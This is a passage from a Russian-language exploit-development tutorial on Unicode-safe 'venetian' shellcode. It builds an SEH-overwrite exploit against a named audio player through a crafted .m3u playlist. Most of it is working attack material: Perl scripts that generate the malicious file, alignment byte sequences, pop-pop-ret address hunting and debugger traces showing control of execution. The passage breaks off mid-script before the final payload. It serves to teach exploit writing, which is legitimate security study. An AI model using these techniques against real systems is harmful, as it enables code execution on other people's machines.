\xb8\x44\xaa\x50\x4c\x58\x05\x55\x33\xb0\xb9\x66\xaa\xe8

или, в Perl:

my $align="\xb8\x44\xaa";         #mov eax,0AA004400h
$align=$align."\x50";             #push eax
$align=$align."\x4c";             #dec esp
$align=$align."\x58";             #pop eax
$align = $align."\x05\x55\x33";   #add eax,33005500h
$align=$align."\xb0";             #mov al,0
$align=$align."\xb9\x66\xaa";     #mov ecx,0AA0660h
$align=$align."\xe8";             #add al,ch

Когда рассматриваешь в отладчике, эта строка преобразуется в следующие инструкции:

0012f2b4 b8004400aa      mov     eax,0AA004400h
0012f2b9 005000          add     byte ptr [eax],dl
0012f2bc 4c              dec     esp
0012f2bd 005800          add     byte ptr [eax],bl
0012f2c0 0500550033      add     eax,offset <Unloaded_papi.dll>+0x330054ff (33005500)
0012f2c5 00b000b90066    add     byte ptr [eax+6600B900h],dh
0012f2cb 00aa00e80050    add     byte ptr [edx+5000E800h],ch

Ой – что за беспорядок. Первый хорош, но, начиная со второго, все сломаны.

Так что, похоже, мы должны найти способ, чтобы убедиться, что " push eax, dec esp, pop eax " и другие инструкции интерпретируются в правильно.

Для решения этой проблемы нужно вставить некоторые безопасные инструкции (придумай, что то, типа NOPs), что позволит выровнять нулевые байты, не причинив вреда регистрам или инструкциям. Закрытие пробелов, проверка того, что нулевые байты и инструкции приведены в соответствие надлежащим образом, вот почему эта техника называется венецианским шеллкодом.

В нашем случае, нам нужно найти инструкции, которые “съедят” нулевые байты, которые были добавлены и вызывают проблемы. Мы можем решить эту проблему, используя один из следующих опкодов (в зависимости от чего регистр содержит записываемый адрес и может быть использован):

00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

(62, 6d и есть 2 других, которые могут быть использованы - будьте креативными и смотрите, что работает для вас)

Таким образом, если, например, esi доступна для записи (и вы не возражаете, что что-то написанное на этом месте указывается тем же регистром), то вы можете использовать \x6e между двумя инструкциями, в целях выравнивания нулевых байтов.

Пример:

my $align="\xb8\x44\xaa";         #mov eax,0AA004400h
$align=$align."\x6e";             #nop/align null bytes
$align=$align."\x50";             #push eax
$align=$align."\x6e";             #nop/align null bytes
$align=$align."\x4c";             #dec esp
$align=$align."\x6e";             #nop/align null bytes
$align=$align."\x58";             #pop eax
$align=$align."\x6e";             #nop/align null bytes
$align = $align."\x05\x55\x33";   #add eax,33005500h
$align=$align."\x6e";             #nop/align null bytes
$align=$align."\xb0";             #mov al,0
#no alignment needed between these 2 !
$align=$align."\xb9\x66\xaa";     #mov ecx,0AA0660h
$align=$align."\x6e";             #nop/align null bytes

В отладчике, инструкции теперь выглядят следующим образом:

0012f2b4 b8004400aa      mov     eax,0AA004400h
0012f2b9 006e00          add     byte ptr [esi],ch
0012f2bc 50              push    eax
0012f2bd 006e00          add     byte ptr [esi],ch
0012f2c0 4c              dec     esp
0012f2c1 006e00          add     byte ptr [esi],ch
0012f2c4 58              pop     eax
0012f2c5 006e00          add     byte ptr [esi],ch
0012f2c8 0500550033      add     eax,offset <Unloaded_papi.dll>+0x330054ff (33005500)
0012f2cd 006e00          add     byte ptr [esi],ch
0012f2d0 b000            mov     al,0
0012f2d2 b9006600aa      mov     ecx,0AA006600h
0012f2d7 006e00          add     byte ptr [esi],ch

=> Намного лучше. Как вы видите, вы придется немного поиграть с этим. Это не относится к присоединению \x6e между любыми двумя инструкциями, вам необходимо проверить какое влияние это оказывает, и выровнить все в соответствии с этим.

Итак, на данный момент, нам удалось поставить адрес в eax.

Все, что нам сейчас нужно сделать, это перейти на этот адрес. Опять же, для этого нам нужно пару строк венецианского кода. Самый простой способ перейти к eax это push eax в стек, а затем возвращение в стек (push eax, ret)

В опкоде, это так:

50    ;push    eax
c3    ;ret

(C3 должен быть преобразован в C300).

В венецианском коде, это будет так \x50\x6e\xc3.

На данный момент, мы сделали следующие вещи:

  • мы перезаписали EIP с полезной инструкцией
  • мы написали несколько строк кода, чтобы настроить значение в одном из регистров
  • мы сделали прыжок в этот регистр.

Если регистр содержит ASCII шеллкод, и он будет выполнен, то тогда игра закончена.

Примечание 1: конечно, жестко прописывать адреса не рекомендуется. Было бы лучше, если вы будете использовать значение смещения на основанного на содержимом одного из регистров. Затем вы можете использовать add и суб инструкции применить смещение к этому регистру, для того чтобы получить его нужное значение.

Примечание 2: Если инструкции не переводятся правильно, возможно вы используете разные юникод переводы (возможно, из-за языковых и региональных параметров), что сильно влияет на успех эксплуатации. Проверьте таблицу перевода FX, и посмотрите, можете ли вы найти другой байт, который при преобразовании в юникод, будет делать то, что вы от него хотите. Пример: если, например, 0xc3 не переводится на 0xc3 0×00, то тогда вы смотрите использует ли юникод преобразование страницу OEM кода. В этом случае, 0xc7 будет преобразован в 0xc3 0×00, что может помочь вам в создании эксплойта.

Пример 2

Предположим, вы хотите, чтобы положить адрес ebp +300 в eax (так что вы можете перейти в eax), то вам нужно будете написать необходимые ассемблированные инструкции, а затем применять технику венецианского шеллкода, так что вы можете закончить с кодом, который выполнится, когда преобразуется в юникод.

Как поставить ebp+300h в eax:

push ebp            ; put the address at ebp on the stack
pop eax             ; get address of ebp back from the stack and put it in eax
add eax,11001400    ; add 11001400 to eax
sub eax,11001100    ; subtract 11001100 from eax. Result = eax+300

В опкоде это будет так:

55              push    ebp
58              pop     eax
0500140011      add     eax,offset XXXX+0x1400 (11001400)
2d00110011      sub     eax,offset XXXX+0x1100 (11001100)

После применения техники венецианского шеллкода, вот, которую нам нужно отослать:

my $align="\x55";                #push ebp
$align=$align."\x6e";            #align
$align=$align."\x58";            #pop eax
$align=$align."\x6e";            #align
$align=$align."\x05\x14\x11";    #add eax,0x11001400
$align=$align."\x6e";            #align
$align=$align."\x2d\x11\x11";    #sub eax,0x11001100
$align=$align."\x6e";            #align

В отладчике это будет выглядеть так:

0012f2b4 55              push    ebp
0012f2b5 006e00          add     byte ptr [esi],ch
0012f2b8 58              pop     eax
0012f2b9 006e00          add     byte ptr [esi],ch
0012f2bc 0500140011      add     eax,offset XXXX+0x1400 (11001400)
0012f2c1 006e00          add     byte ptr [esi],ch
0012f2c4 2d00110011      sub     eax,offset XXXX+0x1100 (11001100)
0012f2c9 006e00          add     byte ptr [esi],ch

Круто. Мы победили.

Теперь поместите компоненты вместе, и у вас есть рабочий эксплойт:

  • вставьте что-то значимое в eip
  • настройте регистры, если это необходимо
  • перейдите и выполните шелл-код (ASCII или через декодер)

Построение юникод эксплойта – Пример 1

Для того чтобы продемонстрировать процесс создания рабочих юникод-совместимых эксплойтов, мы будем использовать уязвимость в Xion Audio Player v1.0 (build 121) обнаруженную Drag0n Rider 10 октября 2009 года. (прим. ред. можете погуглить или взять в ориг. статье)

Я заметил, что ссылка в PoC код больше не указывает на build 121 (и этот эксплойт может работать только против build 121), так что вы можете скачать копию этого уязвимого приложения здесь: Xion Audio Player 1.0 build 121 (2.7 MiB, 428 hits)

Если вы хотите попробовать последнюю версию (она тоже может быть уязвимой), то вы можете скачайть ее здесь (спасибо dellnull за напоминание)

PoC код опубликованный Drag0n Rider-ом указывает, что неправильно воспроизведенный файл (.m3u) может привести к сбою приложения.

Моя тестовая среда (Windows XP SP3 на английском, полностью пропатчена) работает на VirtualBox. Региональные настройки будут установлены на Английский (США) (спасибо Edi для проверки того, что эксплоит работает с этими региональными настройками).

Когда мы запускаем PoC код, мы видим это

my $crash = "\x41" x 5000;
open(myfile,'>DragonR.m3u');
print myfile $crash;

Откройте приложение (в windbg или в любом другом отладчике), щелкните правой кнопкой мыши на графический интерфейс, выберите " playlist " и перейдите в “File” - “Load Playlist”. Затем выберите файл m3u и посмотрите, что произойдет.

Результат:

(e54.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=019ca7ec ecx=02db3e60 edx=00130000 esi=019ca7d0 edi=0012f298
eip=01aec2a6 esp=0012e84c ebp=0012f2b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
DefaultPlaylist!XionPluginCreate+0x18776:
01aec2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !exchain
image00400000+10041 (00410041)
Invalid exception stack at 00410041

Структура SE была перезаписана и теперь содержит 00410041 (который является результатом преобразования юникода AA)

В «нормальной» (ASCII) SEH перезаписи, нам нужно переписать SE Handler с указателем на pop pop ret, и перезаписать следующий SEH с коротким прыжком.

Так что нам нужно сделать 3 вещи:

  • Найти смещение в структуре SE
  • Найти юникод совместимый указатель на pop pop ret
  • Найти что-то, что будет следить за прыжком

Перво-наперво: смещение. Вместо использования 5000 A, положите 5000 символ метасплоит образец в $crash.

Результат:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000006e ebx=02e45e6c ecx=02db7708 edx=00130000 esi=02e45e50 edi=0012f298
eip=01aec2a6 esp=0012e84c ebp=0012f2b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
DefaultPlaylist!XionPluginCreate+0x18776:
01aec2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !exchain
0012f2ac: BASS_FX+69 (00350069)
Invalid exception stack at 00410034

0:000> d 0012f2ac
0012f2ac  34 00 41 00 69 00 35 00-41 00 69 00 36 00 41 00  4.A.i.5.A.i.6.A.
0012f2bc  69 00 37 00 41 00 69 00-38 00 41 00 69 00 39 00  i.7.A.i.8.A.i.9.
0012f2cc  41 00 6a 00 30 00 41 00-6a 00 31 00 41 00 6a 00  A.j.0.A.j.1.A.j.
0012f2dc  32 00 41 00 6a 00 33 00-41 00 6a 00 34 00 41 00  2.A.j.3.A.j.4.A.
0012f2ec  6a 00 35 00 41 00 6a 00-36 00 41 00 6a 00 37 00  j.5.A.j.6.A.j.7.
0012f2fc  41 00 6a 00 38 00 41 00-6a 00 39 00 41 00 6b 00  A.j.8.A.j.9.A.k.
0012f30c  30 00 41 00 6b 00 31 00-41 00 6b 00 32 00 41 00  0.A.k.1.A.k.2.A.
0012f31c  6b 00 33 00 41 00 6b 00-34 00 41 00 6b 00 35 00  k.3.A.k.4.A.k.5.

Когда мы сбрасываем структуру SE (г 0012f2ac, мы можем видить следующий SEH (в красном, содержит 34 00 41 00) и SE Handler (в зеленом, содержится 69 00 35 00)

Для того, чтобы вычислить смещение, мы должны взять 4 байта, взятых с обоих SEH и SE Handler вместе, и использовать это как смещение строки поиска: 34 41 69 35 -> 0×35694134

xxxx@bt4 ~/framework3/tools
$ ./pattern_offset.rb 0x35694134 5000
254

Хорошо, так что скрипт ниже должен

  • заставлять нас менять структуру SE после 254 символов
  • переписать следующий SEH с 00420042 (как вы видите, только 2 байта требуется)
  • переписать SE Handler с 00430043 (как вы видите, только 2 байта требуется)
  • Добавить больше мусора
my $totalsize=5000;
my $junk = "A" x 254;
my $nseh="BB";
my $seh="CC";
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

Результат:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000044 ebx=019c4e54 ecx=02db3710 edx=00130000 esi=019c4e38 edi=0012f298
eip=01aec2a6 esp=0012e84c ebp=0012f2b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206

DefaultPlaylist!XionPluginCreate+0x18776:
01aec2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !exchain
0012f2ac:
image00400000+30043 (00430043)
Invalid exception stack at 00420042

0:000> d 0012f2ac
0012f2ac  42 00 42 00 43 00 43 00-44 00 44 00 44 00 44 00  B.B.C.C.D.D.D.D.
0012f2bc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2cc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2dc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2ec  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2fc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f30c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f31c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

=> SE Структура красиво перезаписана, и мы видим D от $morestuff расположенную сразу после того, как мы перезаписали SE структуру.

Следующим шагом является поиск хорошего указатель на pop pop ret. Нам нужен адрес, который будет выполнять pop pop ret, даже если первый и третий байты являются нулями)

Мой pvefindaddr плагин для ImmDbg поможет вам в этом. Откройте ImmDBG и загрузите xion.exe в отладчике. Запустите приложение, перейдите в диалоговое окно плейлиста, выберите “File”, “Load Playlist”, но не загружайте файл плейлиста.

Вернитесь назад к отладчику и запустите !pvefindaddr p2

Так вы запустите поиск всех pop/pop/ret комбинации во всем пространстве памяти процесса, и запишется на выходе в файл с именем ppr2.txt. Этот процесс может занять длительное время, поэтому наберитесь терпения.

Когда процесс завершится, откройте файл с вашим любимым текстовым редактором, и задайте поиск “Unicode”, или выполните следующую команду:

C:\Program Files\Immunity Inc\Immunity Debugger>type ppr2.txt | findstr Unicode
 ret at 0x00470BB5 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x0047073F [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004107D2 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004107FE [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480A93 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00450015 [xion.exe] ** Unicode compatible **
 ret at 0x0045048B [xion.exe] ** Maybe Unicode compatible **
 ret at 0x0047080C [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470F41 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470F9C [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004800F5 [xion.exe] ** Unicode compatible **
 ret at 0x004803FE [xion.exe] ** Maybe Unicode compatible **
 ret 04 at 0x00480C6F [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470907 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470C9A [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470CD9 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470D08 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004309DA [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00430ABB [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480C26 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00450AFE [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00450E49 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470136 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470201 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470225 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004704E3 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x0047060A [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470719 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x004707A4 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470854 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470C77 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470E09 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470E3B [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480224 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480258 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480378 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480475 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470EFD [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470F04 [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00470F0B [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00450B2D [xion.exe] ** Maybe Unicode compatible **
 ret at 0x00480833 [xion.exe] ** Maybe Unicode compatible **
 ret 04 at 0x00410068 [xion.exe] ** Unicode compatible **
 ret 04 at 0x00410079 [xion.exe] ** Unicode compatible **
 ret 04 at 0x004400C0 [xion.exe] ** Unicode compatible **
 ret at 0x00470166 [xion.exe] ** Maybe Unicode compatible **

Адреса, которые должны привлечь ваше непосредственное внимание это те адреса, которые могут быть юникод совместимыми. pvefindaddr скрипт будет указывать на адреса, которые имеют нулевые байты в первом и третьем байте. Ваша задача теперь найти адреса, которые являются совместимыми с вашим эксплойтом. В зависимости от юникода перевод кодовой страницы, который был использован, вы можете или не можете быть в состоянии использовать адрес, который содержит байт, который > 7f.

Как вы можете видеть, в этом примере мы ограничены адресами, которые содержатся в xion.exe само исполняемом файле, который (к счастью) не скомпилирован safeseh.

Если мы оставим все адреса, которые содержат байты > 7f, то нам придется работать с:

0x00450015, 0x00410068, 0x00410079

Хорошо, давайте проверим эти 3 адреса и посмотрим, что произойдет.

Перепишите SE Handler с одним из этих адресов, и перепишите следующий SEH с 2 A (0x41 0x41)

my $totalsize=5000;
my $junk = "A" x 254;
my $nseh="\x41\x41";  #nseh -> 00410041
my $seh="\x15\x45";   #put 00450015 in SE Handler
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

Результат:

0:000> !exchain
0012f2ac:
image00400000+50015 (00450015)
Invalid exception stack at 00410041

Если мы поместим точку остановки (breakpoint) на 00450015, мы должны увидеть следующий результат после нажатия кнопки F5, а затем пошаговое выполнение инструкций:

0:000> bp 00450015
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450015 esp=0012e47c ebp=0012e49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50015:
00450015 5b              pop     ebx
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450016 esp=0012e480 ebp=0012e49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50016:
00450016 5d              pop     ebp
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450017 esp=0012e484 ebp=0012e564 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50017:
00450017 c3              ret
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ab:
0012f2ac 41              inc     ecx
0:000> d eip
0012f2ac  41 00 41 00 15 00 45 00-44 00 44 00 44 00 44 00  A.A...E.D.D.D.D.
0012f2bc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2cc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2dc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2ec  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2fc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f30c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f31c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

Мы видеть, как pop pop ret запускается, и после ret, осуществляется прыжок на SE запись (nseh) в 0012f2ac.

Первая инструкция в nseh является 0x41 (которая является "inc ecx "). Когда мы сбрасываем содержимое eip (перед запуском инструкции), мы видим, на 2 A по адресу nseh (41 00 41 00), а затем 15 00 45 00 (= SE Handler), а затем D (от $morestuff). В типичной SEH основанном эксплойте, мы хотели бы перейти к D. Теперь, вместо того чтобы писать jumpcode на nseh (который будет практически невозможно сделать), мы можем просто “прогуляться” до D.

Все, что нам нужно, это

  • Некоторые инструкции в nseh, которые будут действовать как nop, (или может даже помочь нам подготовить стек позже)
  • Подтверждение того, что адрес в SE Handler (15 00 45 00), при запуске, как если бы это были инструкции, не нанесет никакого вреда также.

2 A по адресу nseh, когда они выполнены, будет следующее:

eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ac esp=0012e0c4 ebp=0012e1a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ab:
0012f2ac 41              inc     ecx
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450016 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ad esp=0012e0c4 ebp=0012e1a0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12f2ac:
0012f2ad 004100          add     byte ptr [ecx],al          ds:0023:00450016=5d

Первая инструкция, кажется, более или менее безвредной, но вторая вызовет еще одно исключение, возвращая нас в nSEH … так что это не сработает.

Может быть, мы можем использовать одну из следующих инструкций еще раз:

00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh

Есть и другие инструкции, которые будут работать (62, 6d, и т.д.)

И, пожалуй, первая инструкция (41 = inc eax) может быть заменена popad (=\x61) (которая положит что-то во все регистры … это может помочь нам в дальнейшем)

Так перепишите nseh с 0?61 0?62 и посмотрите, что он делает:

my $totalsize=5000;
my $junk = "A" x 254;
my $nseh="\x61\x62";  #nseh -> popad + nop/align
my $seh="\x15\x45";   #put 00450015 in SE Handler
my $morestuff="D" x (5000-length($junk.$nseh.$seh));

$payload=$junk.$nseh.$seh.$morestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

Результат:

0:000> !exchain
0012f2ac: ***
image00400000+50015 (00450015)
Invalid exception stack at 00620061
0:000> bp 00450015
0:000> bp 0012f2ac
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450015 esp=0012e47c ebp=0012e49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50015:
00450015 5b              pop     ebx
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450016 esp=0012e480 ebp=0012e49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50016:
00450016 5d              pop     ebp
0:000> t
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=00450017 esp=0012e484 ebp=0012e564 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
image00400000+0x50017:
00450017 c3              ret
0:000> t
Breakpoint 1 hit
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ab:
0012f2ac 61              popad
0:000> t
eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2ad esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ac:
0012f2ad 006200          add     byte ptr [edx],ah          ds:0023:0012e54c=b8
0:000> t
eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200283
<Unloaded_papi.dll>+0x12f2af:
0012f2b0 1500450044      adc     eax,offset <Unloaded_papi.dll>+0x440044ff (44004500)

Это работает. popad поставил что-то во все регистры, и 006200 инструкция действовала как своего рода nop.

Примечание: Как правило, лучше всего работает в nseh и является единственной байт инструкцией + nop схожая инструкция. Существует много единственных байт инструкций (inc , dec , popad), поэтому вам придется немного поиграться с инструкциями, пока вы не получите то, что вы хотите.

Последняя инструкция в выходном файле выше показывает следующую инструкцию, которая состоит из указателя на pop/pop/ret (15004500), и, видимо, одиного дополнительного байта, который берется из данных, которые находятся в стеке сразу после SE Handler (44). Наши указатель 00450015 теперь преобразован в инструкцию, которая состоит из опкода 15 = adc eax, следуемый 4 байтами смещения. (Следующий байт из стека был взят для выравнивания инструкции. Мы контролируем следующий байт, это не столь большая проблема)

Сейчас мы пытаемся выполнить то, что раньше было указателем на pop pop ret. Если мы сможем добиться выполнения этих байтов, и сможем запустить выполнение опкодов после этих 4 байт, то тогда мы добились того же самого, как если бы мы выполнили jumpcode на nSEH.

Продолжайте шагать (трассировать) до конца, и вы в конечном итоге окажетесь здесь:

0:000> t
eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200283
<Unloaded_papi.dll>+0x12f2af:
0012f2b0 1500450044      adc     eax,offset <Unloaded_papi.dll>+0x440044ff (44004500)
0:000> t
eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b5 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12f2b4:
0012f2b5 00440044        add     byte ptr [eax+eax+44h],al  ds:0023:8826550e=??

Ага, так мы начали выполнять код, который был введен в стек после перезаписи SE структуры.

Мы в основном пытались выполнить 0044000044, которые является D.

Заключение:

  • мы перезаписали SE структуру,
  • овладели EIP (pop pop ret),
  • смоделировали короткий прыжок
  • добились того, чтобы приложение выполнило произвольный код.

Следующая задача состоит в том, чтобы превратить это в рабочий эксплойт. Мы не можем просто вставить наш закодированный шеллкод здесь, потому что декодер должен иметь регистр, который указывает сам на себя. Если вы взгляните на текущие значения регистров, есть много регистров, которые указывают почти на текущее местоположение, но ни один из них не указывает прямо на текущее местоположение. Поэтому нам нужно изменить один из регистров, и использовать некоторое дополнение чтобы поместить шеллкод именно там, где он должен быть.

Скажем, мы хотим использовать eax. Мы знаем, как написать шеллкод, который использует eax с альфа-2 (который требует только один регистр). Если вы хотите использовать vense.pl, то вам нужно будет подготовить дополнительный регистр, чтобы он указывал на ячейку памяти, которая доступна для записи и исполнения … но основная концепция остается той же.

В любом случае, вернемся к использованию alpha2 сгенерированного кода. Что нам нужно сделать, это указать eax в то место, которое указывает на первый байт нашего декодера (= закодированный шелл-код), а затем прыгает к eax.

Кроме того, инструкции, которые нам нужно будет написать, должны быть юникод совместимыми. Таким образом, мы должны использовать технику венецианского шеллкода, который объяснялся ранее.

Посмотрите на регистры. Мы могли бы, например, положить ebp в eax, а затем добавить небольшое количество байтов, чтобы перепрыгнуть через код, который нужно указать на eax в декодере и перепрыгнуть на нее.

Нам, наверное, нужно будет добавить некоторые дополнения между этим кодом и началом декодера (так конечный результат был бы таким, что eax будет указывать на декодер, если прыжок выполнен)

Когда мы вставляем ebp в eax и добавляем 100 байт, eax будет указывать на 0012f3ac. Вот куда декодер должен быть помещен.

Мы контролируем данные в этом месте:

0:000> d 0012f3ac
0012f3ac  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3bc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

Для того чтобы получить ebp+100 в eax, и, чтобы перейти к eax, нам нужен следующий код:

push ebp
pop eax
add eax,0x11001400
sub eax,0x11001300

push eax
ret

После применения техники венецианского шеллкода, вот то, что необходимо поместить в буфер:

my $preparestuff="D";   #we need the first D
